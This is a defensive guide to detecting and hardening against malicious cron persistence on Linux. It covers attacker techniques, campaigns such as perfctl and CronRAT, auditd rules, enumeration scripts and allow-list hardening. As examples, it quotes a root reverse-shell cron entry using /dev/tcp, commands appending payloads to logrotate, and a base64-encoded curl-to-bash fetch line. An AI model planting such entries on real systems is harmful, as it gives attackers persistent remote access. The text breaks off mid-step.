Every Linux administrator has used cron. It runs database backups at 2 AM, rotates logs, fetches certificates, pings health-check endpoints. It is so woven into the fabric of server operations that its files rarely get scrutinized. An administrator staring at a misbehaving service is not typically thinking about what is in /var/spool/cron/crontabs/ or whether something new appeared in /etc/cron.d/ last Tuesday.
That invisibility is exactly why attackers love it. MITRE ATT&CK documents cron abuse as T1053.003 -- Scheduled Task/Job: Cron, a sub-technique of the parent T1053 -- Scheduled Task/Job. It is classified under three tactics simultaneously: Execution, Persistence, and Privilege Escalation -- meaning a single malicious cron entry can deliver an initial payload, survive a reboot, and run with elevated privileges depending on which crontab it occupies. The technique has appeared in campaigns ranging from nation-state intrusions to commodity cryptomining.
This article covers the mechanics of how Linux schedules cron jobs, every documented location an attacker can abuse, the real-world campaigns that prove the technique is not theoretical, the detection signals you should be watching, and the hardening steps that close the gaps. By the end, you should be able to audit any Linux system for unauthorized crontab modifications and understand why some of them are designed to survive even a careful inspection.
This article focuses on the traditional cron daemon (Vixie cron and its derivatives, as shipped by most major distributions). The closely related anacron and fcron utilities share most of the same file locations. systemd timers, which are increasingly used as an alternative, are touched on briefly in the context of attacker pivots but are covered in depth in the systemd guide.
How Cron Works: The Attack Surface in Plain Sight
The cron daemon wakes up once per minute and evaluates a set of tables -- the crontabs -- to decide whether any scheduled command is due for execution. Understanding exactly which files it reads is the foundation for understanding where attackers write.
The file locations cron reads
There are two broad categories of crontab storage: system-wide files that can specify a user to run as, and per-user files that always run as the owning account.
/etc/crontab is the main system crontab. Each line has an extra field for the username: * * * * * root /usr/local/bin/check.sh. Because it specifies the user explicitly, it is editable only by root. This is not a file administrators typically think of as a target, but it is often world-readable, and its contents are not always reviewed during incident response.
/etc/cron.d/ is a directory of drop-in crontab fragments, each in the same format as /etc/crontab. Package managers write here when installing software that needs scheduled jobs. Attackers write here too -- the files are mixed in with legitimate package entries, and there is no canonical list of what belongs.
The time-based directories -- /etc/cron.hourly/, /etc/cron.daily/, /etc/cron.weekly/, and /etc/cron.monthly/ -- contain executable scripts rather than crontab-format files. Cron runs the scripts they contain on the corresponding schedule. These directories are commonly writable by root only, but a compromised root session is precisely the scenario defenders must plan for.
/var/spool/cron/crontabs/ holds per-user crontab files. On a typical system the file /var/spool/cron/crontabs/deploy contains the scheduled jobs for a user named deploy. The cron daemon runs those jobs as that user. This is significant from an attacker's perspective: persisting in a non-root user's crontab achieves execution without needing root at the time of writing, though the command runs only with that user's privileges.
Finally, anacron (which ensures that time-based jobs missed during downtime are caught up) reads from /var/spool/anacron/. These state files are less commonly inspected during audits.
The crontab time syntax
Each crontab line has five time fields followed by the command: minute, hour, day of month, month, and day of week. An asterisk in any field means "every." So * * * * * runs every minute, and 0 3 * * 0 runs at 3 AM every Sunday. The special directive @reboot runs a command once at system startup, regardless of any schedule. Attackers favor @reboot precisely because it does not depend on timing -- the payload fires the moment the machine comes back up after maintenance or incident response.
# minute hour day-of-month month day-of-week command * * * * * /path/to/command # Run at 3:30 AM every day 30 3 * * * /usr/local/bin/backup.sh # Run every minute (attacker-preferred for C2 callbacks) * * * * * /tmp/.hidden/payload # Run on every reboot @reboot /bin/bash -c '/tmp/.x/init.sh >/dev/null 2>&1'
How Attackers Abuse Cron: Techniques in Detail
There is no single way to abuse cron. The technique spans a spectrum from crude but effective to surprisingly sophisticated, and defenders must be prepared for all of it.
Direct crontab entry injection
The simplest approach: write a new entry directly to a crontab file. If an attacker has a shell as a non-root user, they can run crontab -e or write directly to /var/spool/cron/crontabs/<username>. The entry might call back to a command-and-control server, re-download a dropped binary that was cleaned up, or execute a reverse shell. Shell one-liners delivered via cron align with MITRE ATT&CK T1059.004 -- Command and Scripting Interpreter: Unix Shell. Elastic Security's detection documentation for T1053.003 highlights the archetypal payload:
* * * * * root /bin/bash -c 'sh -i >& /dev/tcp/192.168.1.1/1337 0>&1'
That entry, written to /etc/crontab or a file in /etc/cron.d/, opens a reverse shell to the attacker's IP once per minute, as root. No binary to delete, no process to kill -- the shell re-establishes itself every sixty seconds indefinitely.
Appending to existing cron scripts
Rather than creating a new file, attackers frequently append malicious commands to scripts that already exist in /etc/cron.daily/ or /etc/cron.hourly/. This is harder to spot because the file is legitimate -- it was put there by a package manager. The malicious line hides at the end of, say, /etc/cron.daily/logrotate. Splunk's persistence research documents this approach precisely: an attacker with shell access uses shell redirection to inject a payload path into an existing cron script, so it executes automatically whenever the original script runs.
# Attacker appends malicious script to a legitimate cron job echo "/tmp/evil_cron.sh" >> /etc/cron.daily/logrotate echo "/tmp/evil_cron.sh" >> /etc/cron.hourly/logrotate # More evasive: base64-encoded inline command echo "bash -c {echo,Y3VybCBodHRwOi8vYy5leGFtcGxlLmNvbS9zfGJhc2g=}|{base64,-d}|bash" \ >> /etc/cron.daily/sysstat
Appending to an existing file does not create a new inode. File-creation-based detection rules will miss this. You need content-level monitoring -- either log shipping that captures file writes, or integrity checking that compares file content against a known baseline.
The @reboot directive for boot persistence
The @reboot special string in a crontab entry schedules a command to run once at every system startup. This is a particularly favored attacker technique because it guarantees re-execution after incident response activities that include a reboot. Security research published by OSTechNix in late 2025 documents how threat actors use it to pull down fresh payloads from external infrastructure on every boot, ensuring that even if local binaries are deleted, the malware reconstitutes itself from a remote source.
Dropping files into time-based directories
Files placed in /etc/cron.hourly/ and /etc/cron.daily/ are executable scripts, not crontab-format entries. An attacker with a root session can drop a script with a plausible name -- something like updatedb-cache or logstat -- and it will be executed on schedule by the system without any further configuration. Splunk's persistence research notes that attackers specifically use this approach when the objective is privilege escalation: scripts placed in these directories execute with root (or at least system) privileges, which can be used to write SUID binaries or modify other privileged paths.
Modifying cron.allow and cron.deny
Two control files govern which users are permitted to use the crontab utility at all: /etc/cron.allow and /etc/cron.deny. The logic is straightforward -- if cron.allow exists, only users listed in it can schedule jobs. If it does not exist but cron.deny does, users in the deny list are blocked and everyone else is permitted. An attacker who can modify these files can either grant crontab access to an account that previously lacked it, or remove a restriction that was preventing their chosen persistence account from scheduling anything. Elastic's detection rules specifically monitor writes to both /etc/cron.allow and /etc/cron.deny as indicators of persistence activity.
Real Campaigns: When This Stopped Being Theoretical
Cron persistence is not a lab curiosity. It has driven damage across real infrastructure, and two campaigns in particular illustrate how far the technique can be taken.
Perfctl: The trojanized crontab binary
In October 2024, researchers at Aqua Security published a detailed analysis of a Linux malware family they called perfctl. The campaign had been active for at least three years, had targeted millions of Linux servers, and likely compromised thousands -- exploiting over 20,000 distinct types of misconfigurations across that period. The primary payload was a Monero cryptominer, but the persistence and evasion architecture made it notable far beyond cryptocurrency theft.
What made perfctl remarkable was not just that it used cron for persistence -- it was that it subverted the tool used to inspect cron. Aqua's researchers Assaf Morag and Idan Revivo described the malware as "particularly elusive and persistent," noting that it immediately halts all noisy activity the moment a new user logs in and lies dormant until the server is idle again.
Perfctl dropped trojanized versions of the crontab, top, lsof, and ldd utilities into /home/<user>/.local/bin/ and then modified /etc/profile to prepend that directory to $PATH. This is a textbook instance of MITRE ATT&CK T1574.007 -- Hijack Execution Flow: Path Interception by PATH Environment Variable combined with T1036.005 -- Masquerading: Match Legitimate Name or Location: the fake binaries share the names of real system tools and are placed in a path that resolves before the legitimate binaries. The result: when an administrator ran crontab -l, they were executing the fake binary, which was designed to suppress output of any malicious entries. The malware's cron jobs were present in the spool files but invisible to the standard inspection command.
This is a category shift in the threat model. It means that checking your crontab with crontab -l is not sufficient if the crontab binary itself may be compromised. The only reliable inspection is reading the raw spool files directly -- cat /var/spool/cron/crontabs/root -- or verifying binary integrity before trusting the output of any system tool.
If you suspect perfctl, do not trust crontab -l, top, lsof, or ldd output. Verify the hashes of those binaries against known-good values using debsums -c (Debian/Ubuntu) or rpm -V crontabs (RPM systems) before relying on their output. Also inspect /etc/profile and per-user shell initialization files for unauthorized $PATH modifications.
The Rocke group: cron as the backbone of a cryptomining empire
The Rocke threat group, documented by Palo Alto Networks Unit 42, has used cron-based persistence as the cornerstone of their cryptomining infrastructure since at least 2018. Their methodology involves placing malicious scripts in /etc/cron.hourly/ for automatic execution, killing competing cryptominers already on a compromised system (to maximize their own yield), and uninstalling cloud security agents to avoid detection. The group also maintains multiple simultaneous backdoors -- if one is removed, the cron entry in the hourly directory re-downloads and re-installs it within sixty minutes.
Palo Alto's research on Rocke illustrates a point that matters operationally: removing an obviously malicious binary from a disk is not incident response. If the cron entry that installed it is still present, the binary returns. Effective remediation requires finding and removing every scheduled task before cleaning up the payload it launches.
ESXiArgs ransomware and cron on hypervisor hosts
MITRE ATT&CK's T1053.003 documentation notes that in VMware ESXi environments, cron jobs must be created directly via the crontab file because the ESXi management interface does not wrap the full Linux user-space. The ESXiArgs ransomware campaign from early 2023 leveraged this, using direct writes to the ESXi crontab as a persistence mechanism during its encryption routines. The hypervisor attack surface is particularly consequential: a single compromised ESXi host can affect every virtual machine it runs.
CronRAT: hiding the payload in an impossible date
In late 2021, researchers at Sansec discovered a Linux remote access trojan they named CronRAT that took cron evasion in a fundamentally different direction. Rather than hiding entries by trojanizing the inspection utility, CronRAT exploited a quirk in how the cron parser handles syntactically valid but calendrically impossible dates.
CronRAT scheduled its tasks to run on February 31st -- a date that does not exist. The Linux cron system accepts the date specification 52 23 31 2 3 as syntactically valid, but because that day never arrives, the entry never executes in the conventional sense. The actual malicious payload was embedded not in the command field but in the task name itself, encoded through multiple layers of base64 compression and obfuscation. Sansec director of threat research Willem de Groot described the technique at the time as evidence that digital skimming was moving from the browser to the server, targeting unprotected back-end infrastructure that store owners had not hardened.
The operational implication for defenders is significant: any security tool or manual review that only inspects the time and command fields of crontab entries will miss this technique entirely. Defenders must also scan the schedule specification fields for impossible dates, and scrutinize the full raw content of every crontab file for obfuscated data. Sansec had to rewrite their own eComscan detection algorithm to catch CronRAT after their existing tooling failed to flag it.
To catch impossible-date entries, search crontab files for day-of-month values of 30 or 31 in February (month field = 2), or any date specification that could never occur (day 32+, month 13+). A simple grep across all cron locations -- grep -r "31.*2" /var/spool/cron/crontabs/ /etc/cron.d/ /etc/crontab -- is a quick starting point, though it requires manual review to avoid false positives from legitimate schedule patterns.
Koske: AI-assisted cryptomining with cron persistence (2025)
Discovered and detailed by Aqua Security's Aqua Nautilus team in mid-2025, Koske represents a newer generation of Linux cryptomining malware with characteristics suggesting large language model assistance in its development -- modular structure, unusually clean code, verbose and well-constructed in-code comments, and adaptive logic that researchers noted was atypical for manually crafted malware. Aqua Nautilus Director of Threat Intelligence Assaf Morag wrote that Koske "shows clear signs of AI-assisted development, likely with help from a large language model."
Koske's initial access vector was exploitation of misconfigured JupyterLab instances, and the malware conceals its payloads inside benign-looking JPEG images of panda bears -- polyglot files where a valid image header is followed by appended shell scripts. Once downloaded, the malware executes entirely from memory, bypassing disk-based antivirus scanning. Its persistence model is layered: cron jobs scheduled to run every 30 minutes and at every reboot, custom systemd services, modifications to .bashrc and .bash_logout, and edits to /etc/rc.local. An in-memory rootkit written in C hooks readdir() to hide processes and files associated with the malware from standard monitoring utilities. Koske supports 18 different cryptocurrencies and selects CPU or GPU miners based on the hardware profile of the compromised host. Koske also removes its bash history upon execution, aligning with T1070.003 -- Indicator Removal: Clear Command History, and deletes intermediate files consistent with T1070.004 -- Indicator Removal: File Deletion.
Koske campaigns have also been observed creating custom systemd services for a primary persistence path alongside cron -- a layered-persistence pattern that appeared across multiple mid-2025 campaigns targeting exposed cloud services and misconfigured container environments. Attackers targeting internet-exposed services routinely combine cron and systemd persistence precisely because removing one does not eliminate the other. Together, the 2025 campaigns confirm that cron remains a first-choice or reliable-fallback persistence mechanism across a wide spectrum of attacker sophistication levels.
The Rocke group established cron as a reliable cryptomining infrastructure backbone, placing scripts in /etc/cron.hourly/ to automatically re-download and reinstall payloads every sixty minutes. Their methodology of actively killing competing miners and uninstalling cloud security agents while maintaining cron-based re-installation turned a single foothold into a self-healing operation.
Palo Alto Networks Unit 42 documented Rocke's operations. Their use of /etc/cron.hourly/ ensures root-level execution on a regular schedule, and their practice of maintaining multiple simultaneous backdoors means that removing a binary without also removing the cron entry that re-downloads it achieves nothing.
Sansec researchers discovered CronRAT hiding its payload inside crontab entries scheduled for February 31st -- an impossible calendar date that the cron parser accepts as syntactically valid but never executes. The payload was stored in multiple layers of base64 encoding inside the task name field, not the command field, making it invisible to tools that only inspect the schedule and command portions of crontab entries.
CronRAT was deployed against e-commerce infrastructure to inject server-side Magecart payment skimmers. At discovery, 70 out of 70 antivirus engines on VirusTotal either could not process the file or failed to flag it as malicious.
ESXiArgs demonstrated that T1053.003 was not limited to traditional Linux servers. VMware ESXi's cron subsystem is accessible directly via crontab file because the ESXi management interface does not wrap the full Linux user-space. ESXiArgs wrote cron entries directly to the ESXi crontab as a persistence mechanism during its encryption routines, ensuring the ransomware could re-run even after partial remediation attempts.
The hypervisor context makes cron abuse especially consequential: a single compromised ESXi host places every guest virtual machine under the attacker's control of the scheduling system.
Aqua Security's researchers documented perfctl after it had been active for three years undetected. The campaign's defining innovation was replacing the crontab binary itself with a trojanized version that suppressed output of any malicious entries when an administrator ran crontab -l. The fake binary was placed in /home/<user>/.local/bin/ with /etc/profile modified to prepend that path, so the trojanized version resolved before the system binary.
Perfctl also replaced top, lsof, and ldd with modified versions and halted all mining activity the moment a new user session was detected, resuming when the session ended.
Aqua Nautilus documented Koske as the first major Linux cryptominer with clear LLM-assisted development signatures: modular architecture, unusually clean code, and verbose in-code documentation atypical of manually written malware. Initial access was through misconfigured JupyterLab instances; payloads were hidden in JPEG images (polyglot files) and executed entirely from memory.
Persistence was layered across cron (every 30 minutes and at @reboot), systemd services, .bashrc and .bash_logout modifications, and /etc/rc.local. An in-memory rootkit hooking readdir() hid processes and files from standard tools. The malware detected available hardware and selected the appropriate miner from 18 supported cryptocurrencies.
MITRE ATT&CK Technique Mapping
Unauthorized crontab modification does not operate in isolation. It connects to a cluster of related ATT&CK techniques that appear together in the campaigns covered in this article. The table below maps each technique to the specific behavior it describes and the campaign or section where it surfaces.
| Technique ID | Name | Tactic(s) | Relevance in This Article |
|---|---|---|---|
| T1053.003 | Scheduled Task/Job: Cron | Execution, Persistence, Privilege Escalation | Primary technique. All campaigns covered (perfctl, Rocke, CronRAT, Koske, ESXiArgs) use this. |
| T1053.006 | Scheduled Task/Job: Systemd Timers | Execution, Persistence, Privilege Escalation | Koske and Docker API malware use systemd timers alongside cron as a layered persistence fallback. |
| T1574.007 | Hijack Execution Flow: Path Interception by PATH Environment Variable | Persistence, Privilege Escalation, Defense Evasion | Perfctl prepends /home/<user>/.local/bin/ to $PATH via /etc/profile to make fake binaries resolve before legitimate ones. |
| T1036.005 | Masquerading: Match Legitimate Name or Location | Defense Evasion | Perfctl names trojanized utilities (crontab, top, lsof, ldd) identically to the system binaries they replace. Koske names processes to blend with legitimate system activity. |
| T1059.004 | Command and Scripting Interpreter: Unix Shell | Execution | Reverse shell one-liners and base64-encoded bash payloads embedded directly in crontab entries. |
| T1070.003 | Indicator Removal: Clear Command History | Defense Evasion | Koske removes bash history (~/.bash_history) and wget history upon execution to erase traces of installation commands. |
| T1070.004 | Indicator Removal: File Deletion | Defense Evasion | Perfctl deletes its initial dropper binary after execution. Koske deletes intermediate files after payload delivery. |
| T1222.002 | File and Directory Permissions Modification: Linux and Mac File and Directory Permissions Modification | Defense Evasion, Privilege Escalation | Attackers modifying /etc/cron.allow or /etc/cron.deny to expand scheduling access. Also relevant to hardening: setting chmod 600 on cron directories is the defensive countermeasure. |
Relevant NIST Special Publications
Several NIST Special Publications provide the normative framework for the detection and hardening controls described in this article. Organizations aligning to FISMA, FedRAMP, or NIST-based control frameworks should map the technical steps here to the specific control identifiers below.
NIST SP 800-53 Rev. 5 -- Security and Privacy Controls
NIST SP 800-53 Revision 5 is the primary control catalog for federal information systems and organizations. The following controls are directly applicable to the techniques and defenses covered in this article:
| Control | Name | Application to Cron Security |
|---|---|---|
| AU-2 | Event Logging | Requires organizations to define which event types must be logged. Crontab write events, auditd cron-tagged alerts, and cron execution logs directly satisfy AU-2 requirements. |
| AU-6 | Audit Record Review, Analysis, and Reporting | Mandates periodic review of audit records. Regular review of ausearch -k cron output and SIEM alerting on unexpected crontab writes fulfills this control. |
| AU-9 | Protection of Audit Information | Requires protecting audit logs from unauthorized access and modification. Shipping cron and auditd logs to a centralized remote SIEM prevents an attacker with root from erasing local evidence. |
| CM-3 | Configuration Change Control | Requires that configuration changes (including scheduled job definitions) go through a change management process. Unauthorized additions to crontab represent a CM-3 violation. |
| CM-6 | Configuration Settings | Mandates establishing and documenting secure configuration settings. Implementing /etc/cron.allow as a whitelist, setting chmod 600 on cron directories, and restricting cron.deny are CM-6 compliant configuration hardening steps. |
| CM-7 | Least Functionality | Requires disabling functionality not required for operations. Disabling anacron on servers where catch-up execution is not required, and restricting crontab access to authorized users only, satisfies CM-7. |
| AC-6 | Least Privilege | Requires users and processes to operate with the minimum necessary privileges. Using /etc/cron.allow to restrict crontab access to only the accounts that legitimately need it is a direct AC-6 implementation. |
| SI-3 | Malicious Code Protection | Requires implementing malicious code protection mechanisms. Binary integrity verification (debsums -c, rpm -V) to detect trojanized crontab utilities addresses SI-3 for Linux systems where traditional AV coverage of the cron subsystem is limited. |
| SI-4 | System Monitoring | Requires monitoring systems for attacks and indicators of potential compromise. Auditd watch rules, inotifywait-based monitoring, and Elastic/Splunk detection rules for crontab modifications are SI-4 implementations. |
| SI-7 | Software, Firmware, and Information Integrity | Requires detecting unauthorized changes to software and information. Verifying the integrity of the crontab binary itself -- the core lesson from the perfctl campaign -- is a direct SI-7 implementation for Linux sysadmins. |
| IR-4 | Incident Handling | Requires implementing an incident handling capability covering preparation, detection, analysis, containment, eradication, and recovery. The incident response steps in this article (do not reboot first, enumerate all persistence, verify binary integrity before trusting tools) constitute IR-4 procedural guidance for cron-based compromises. |
NIST SP 800-123 -- Guide to General Server Security
NIST SP 800-123 provides guidance on securing servers running operating systems including Linux. Section 4 covers operating system hardening -- including limiting the services and user accounts active on a server -- which directly informs the hardening steps in this article: restricting /etc/cron.allow to only accounts that legitimately need cron access, verifying file permissions on cron directories, and disabling unused schedulers (anacron) on servers where they serve no operational function.
NIST SP 800-190 -- Application Container Security Guide
NIST SP 800-190 is relevant when cron persistence appears in containerized or orchestrated environments. The Docker Remote API malware campaign from mid-2025 targeted exposed container management interfaces and used cron as a persistence mechanism, and MITRE ATT&CK T1053.007 specifically documents abuse of container orchestration jobs (Kubernetes CronJobs) as an extension of the same persistence model. SP 800-190 guidance on runtime monitoring, image integrity, and the principle of immutable infrastructure applies directly: containers that cannot be modified at runtime eliminate the writable cron paths that the technique depends on.
These publications are available at csrc.nist.gov. Organizations operating under FISMA should treat the NIST SP 800-53 Rev. 5 control mappings above as the authoritative compliance reference; the SP 800-123 and SP 800-190 guidance provides operational implementation detail.
Detection: Finding What Should Not Be There
There are three complementary detection approaches: real-time file monitoring, periodic audit enumeration, and binary integrity verification. A mature detection posture uses all three, because each catches a different class of attacker behavior.
Auditd watch rules
The Linux Audit daemon (auditd) can watch filesystem paths for write and attribute-change events, generating log entries whenever a watched file is modified. The community rule set maintained at Neo23x0/auditd provides a reference set of rules for cron monitoring. Translated to practical auditd configuration:
# Monitor cron configuration files for writes and attribute changes -w /etc/cron.allow -p wa -k cron -w /etc/cron.deny -p wa -k cron -w /etc/crontab -p wa -k cron -w /etc/cron.d/ -p wa -k cron -w /etc/cron.hourly/ -p wa -k cron -w /etc/cron.daily/ -p wa -k cron -w /etc/cron.weekly/ -p wa -k cron -w /etc/cron.monthly/ -p wa -k cron -w /var/spool/cron/ -k cron # Reload rules without reboot # augenrules --load
These rules generate audit events tagged with the key cron whenever a watched path is written to or renamed. Query them with ausearch -k cron. In a SIEM environment (Splunk, Elastic, or similar), ingest auditd logs and alert when a cron-tagged write event originates from a process that is not the crontab binary, a package manager, or a configuration management tool.
Elastic Security's prebuilt detection rules for this exact pattern watch for file creation or rename events in all of the above paths where the triggering process is not one of the whitelisted executables: /bin/dpkg, /usr/bin/rpm, /bin/yum, /usr/bin/puppet, /usr/bin/chef-client, and their equivalents. Any crontab modification by python, bash, curl, or an unrecognized binary is flagged as medium-severity with a risk score of 47.
Detecting crontab modification via text editors
Splunk's detection analytic library includes a rule (ID dcc89bde-5f24-11ec-87ca-acde48001122, updated May 2025) that specifically watches for nano, vi, or vim being used to open crontab configuration paths. While legitimate administrators do sometimes manually edit cron files with a text editor, this behavior is uncommon enough in production that it warrants review. The alert surfaces the command line, the process, and the user account, providing context for rapid triage.
Manual crontab enumeration
For periodic audits or during incident response, enumerate every crontab on the system. The following pattern iterates /etc/passwd to check every account:
#!/bin/bash # Enumerate crontabs for every user on the system for user in $(cut -f1 -d: /etc/passwd); do echo "=== Crontab: $user ===" sudo crontab -u $user -l 2>/dev/null || echo "(none)" done # Also inspect the raw spool files directly (bypasses a trojanized crontab binary) echo "=== Raw spool files ===" sudo ls -la /var/spool/cron/crontabs/ sudo cat /var/spool/cron/crontabs/* 2>/dev/null # Check system-wide cron locations echo "=== /etc/crontab ===" cat /etc/crontab echo "=== /etc/cron.d/ ===" ls -la /etc/cron.d/ cat /etc/cron.d/* echo "=== Time-based directories ===" ls -la /etc/cron.hourly/ /etc/cron.daily/ /etc/cron.weekly/ /etc/cron.monthly/
During active incident response, read the raw spool files with cat rather than relying on crontab -l. If perfctl or a similar trojanized-binary campaign is in play, the crontab binary cannot be trusted. Reading the file directly bypasses the compromised utility and shows you the actual content on disk.
Suspicious command patterns in cron entries
When reviewing crontab content, these patterns warrant immediate investigation regardless of context:
- Commands invoking
curl,wget, ornc(network fetches or connections inside a scheduled job) - Base64-encoded strings passed to
bash -corsh -c(command obfuscation) - References to paths in
/tmp/,/dev/shm/, or hidden directories beginning with a dot - Use of
/dev/tcp/or/dev/udp/for raw socket connections (common in reverse shell one-liners) - The
@rebootdirective pointing to a non-standard path - Entries that pipe output to
/dev/null 2>&1but execute a non-standard binary
None of these are exclusively malicious in isolation, but any combination of them in a crontab belonging to a service account or non-interactive user demands explanation.
Binary integrity verification
The perfctl campaign established that the tool you use to inspect cron can itself be the attack surface. Verifying crontab binary integrity should be a regular check on any internet-facing server:
# Debian/Ubuntu: verify all installed package files including crontab binary sudo debsums -c # RPM-based systems (RHEL, Rocky, Fedora, CentOS) rpm -V crontabs # Check which crontab binary is being called (PATH hijack detection) which crontab type -a crontab # Verify the hash matches the package-managed file sha256sum $(which crontab) # Check /etc/profile and per-user init files for PATH manipulation grep -r "PATH" /etc/profile /etc/profile.d/ /home/*/.bashrc /home/*/.profile /root/.bashrc /root/.profile 2>/dev/null
Hardening Cron Against Unauthorized Modification
Detection is necessary but not sufficient. A hardened cron configuration raises the cost of abuse and shrinks the window in which an attacker can operate before triggering an alert.
Implement cron.allow as an explicit whitelist
The access control model for cron is governed by two files: /etc/cron.allow and /etc/cron.deny. The SUSE and openSUSE security hardening documentation is explicit on the correct approach: use an allow-list model, not a deny list. A deny list is weaker because any new user account is automatically permitted unless someone remembers to add them. An allow list means that a new account cannot use cron until it is explicitly granted permission. This is a direct application of the least-privilege principle that underpins zero-trust security on Linux -- no account gets scheduling access unless it is explicitly authorized.
# Create an explicit allow list containing only authorized users sudo tee /etc/cron.allow <<EOF root deploy backup EOF # Set strict ownership and permissions sudo chown root:root /etc/cron.allow sudo chmod 600 /etc/cron.allow # Remove cron.deny if you are switching to an allow-list model # (having both files can cause confusion; allow takes precedence on most systems) sudo rm -f /etc/cron.deny # Harden the main crontab file sudo chown root:root /etc/crontab sudo chmod 600 /etc/crontab # Ensure cron directories are not world-writable sudo chmod 700 /etc/cron.d /etc/cron.hourly /etc/cron.daily /etc/cron.weekly /etc/cron.monthly
An important nuance flagged in the SUSE documentation: creating cron.allow prevents users from creating new cron jobs, but existing crontab entries for denied users will continue to run until those spool files are removed. If you implement an allow list on a system with existing user crontabs, you must also clear the spool files for users not on the list.
Enable cron logging
Cron executions are logged by default on most distributions, but the destination varies. On systems using rsyslog, verify that the cron facility is being captured:
# Ensure cron messages are written to a dedicated log file cron.* /var/log/cron.log # Restart rsyslog to apply # sudo systemctl restart rsyslog # Verify cron log is being written # grep CRON /var/log/syslog | tail -20
Send cron logs to a centralized logging infrastructure. An attacker who has root on a machine can delete local log files. Logs that have already been shipped to a remote SIEM or syslog server cannot be retroactively erased from the compromised host.
Real-time monitoring with inotifywait
For environments without a full EDR agent, inotifywait from the inotify-tools package can provide lightweight real-time monitoring of the cron spool directory:
#!/bin/bash # Run as a background service to log cron spool modifications inotifywait -m /var/spool/cron/ /etc/cron.d/ -e create,modify,delete,moved_to \ | while read path action file; do echo "[$(date)] CRON CHANGE: $action $path$file" >> /var/log/cron_changes.log # Optionally send an alert here done
Consider disabling anacron if not needed
On servers that do not require catch-up execution of missed jobs, anacron can be disabled. This removes one additional cron-adjacent attack surface:
Consider systemd timers as a monitored alternative
On systems running systemd, timer units can replace many cron functions with stronger auditability. Systemd timers are defined in unit files under /etc/systemd/system/, their creation and modification generates systemd journal entries, and they require explicit systemctl enable to activate. The SUSE hardening documentation recommends this transition specifically because by default users cannot use systemd timers to run code when they are not logged in, which limits the persistence surface compared to per-user crontabs. See the systemd guide for implementation details.
It is worth noting, however, that attackers are now targeting systemd timers directly for the same persistence objective -- documented under MITRE ATT&CK T1053.006 -- Scheduled Task/Job: Systemd Timers. A real-world example is CVE-2026-3888, where Ubuntu's systemd cleanup timer became a root escalation path. Elastic Security maintains dedicated detection rules for unauthorized systemd timer creation alongside its cron rules. Migrating from cron to timers shifts the monitoring requirement but does not eliminate it.
Incident Response: When You Find Something
Finding a suspicious crontab entry is the beginning, not the end. Cron persistence is almost always part of a larger compromise, and removing the crontab entry without understanding the full attack chain leaves the attacker with other footholds they can use to re-establish it.
Do not reboot first
A reboot clears running processes from memory but triggers any @reboot cron entries. If you have not yet identified and removed all persistence mechanisms, a reboot may actively work against you. Isolate the host from the network first, then enumerate and remove persistence before restarting.
Systematic persistence enumeration
Cron entries are one persistence location. Attackers who write cron jobs on a compromised system typically also establish persistence through other mechanisms. As part of any incident involving unauthorized crontab modification, also check for signs of Linux trojan activity and review:
- Shell initialization files:
~/.bashrc,~/.profile,~/.bash_profile,/etc/profile,/etc/profile.d/ - The
/etc/ld.so.preloadfile for LD_PRELOAD rootkit injection - Systemd service and timer units in
/etc/systemd/system/and/lib/systemd/system/ - SSH authorized_keys files for every user account
- SUID/SGID binaries created or modified since the suspected compromise date (use
find / -newer /var/log/auth.log -perm /4000as a starting point) - The
/tmp/and/dev/shm/directories for hidden binaries
For a full treatment of Linux user permission auditing in this context, the sudoers and SUID audit guide covers the complementary aspects of post-compromise permission review.
Removing unauthorized entries
For per-user crontab entries, remove with crontab -r -u <username> or edit the spool file directly. For entries in /etc/cron.d/ or the time-based directories, delete the file or edit it to remove the malicious line. After removal, verify immediately by reading the raw files rather than relying on the crontab -l command until binary integrity has been confirmed.
Aqua Security's perfctl analysis recommends a full wipe and reinstall for confirmed perfctl infections, because the malware's modifications to system binaries and LD_PRELOAD configurations make it extremely difficult to verify that a clean-up attempt was complete. For any infection that has replaced system utilities, treat the host as untrustworthy and rebuild from a known-good image.
Detection Coverage at a Glance
The following summarizes the detection mechanisms covered in this article against the attack sub-techniques described. Hover over any coverage cell to see why that combination works, is partial, or fails.
| Technique | Auditd | EDR Rule | Binary Check | Manual Audit |
|---|---|---|---|---|
| New crontab entry (direct write) | YES | YES | NO | YES |
| Append to existing cron script | YES | PARTIAL | NO | YES |
| New file in /etc/cron.d/ | YES | YES | NO | YES |
| @reboot entry added | YES | YES | NO | YES |
| cron.allow / cron.deny modified | YES | YES | NO | YES |
| Trojanized crontab binary (perfctl) | NO | PARTIAL | YES | PARTIAL |
| $PATH hijack hiding cron entries | NO | NO | YES (profile) | PARTIAL |
| Impossible-date entry (CronRAT) | NO | NO | NO | PARTIAL* |
The matrix makes the limitation of any single approach visible. Auditd watch rules cover file-level writes but cannot detect a compromised binary that lies about file contents. Binary integrity checking catches the compromised binary scenario but runs periodically rather than in real time. Manual audit catches the widest range of techniques -- but only if it is performed after a binary integrity check confirms the tools being used are trustworthy, and only if the reviewer also inspects schedule fields for impossible dates such as February 31st, which the CronRAT family uses to hide payloads entirely within the entry name itself while generating no detectable file event.
Wrapping Up
Cron is old, ubiquitous, and largely invisible during normal operations. That combination makes it genuinely useful for legitimate automation with cron jobs and shell scripts and genuinely dangerous when an attacker reaches it. The techniques covered here -- from a single @reboot entry to a fully trojanized crontab binary -- represent a real and documented threat, not a theoretical one.
The operational takeaways are concrete. Deploy auditd watch rules covering every cron file location. Monitor for crontab writes originating from processes that are not the crontab binary or a package manager. Enumerate all user crontabs periodically and read the raw spool files during incident response. Implement /etc/cron.allow as a whitelist and harden file permissions on the cron directories. Verify the integrity of the crontab binary itself on any server that may have been compromised.
If the perfctl campaign proved anything, it is that the inspection tool is part of the attack surface. A defender who trusts crontab -l without first verifying the binary is looking at a potential illusion. CronRAT extends this further: even reading the raw files faithfully will not reveal a CronRAT payload if the reviewer only looks at command fields and ignores the schedule specification. The raw files on disk are the ground truth -- but the full content of every field must be read, not just the parts an administrator normally focuses on.
For the broader context of Linux persistence mechanisms -- including systemd service and timer abuse, shell initialization hijacking, and SUID backdoors -- the Elastic Security Labs primer on Linux persistence mechanisms provides an excellent framework. For the operational complement to this article on the server side, see the guide to disabling root SSH login and the SSH audit and hardening practitioner's guide.
How to Detect and Prevent Unauthorized Crontab Modification on Linux
The five steps below synthesize the detection, verification, and hardening guidance from this article into a sequential procedure. Follow them in order during a routine audit or after any suspected compromise.
-
Enumerate all user and system crontabs. Loop through
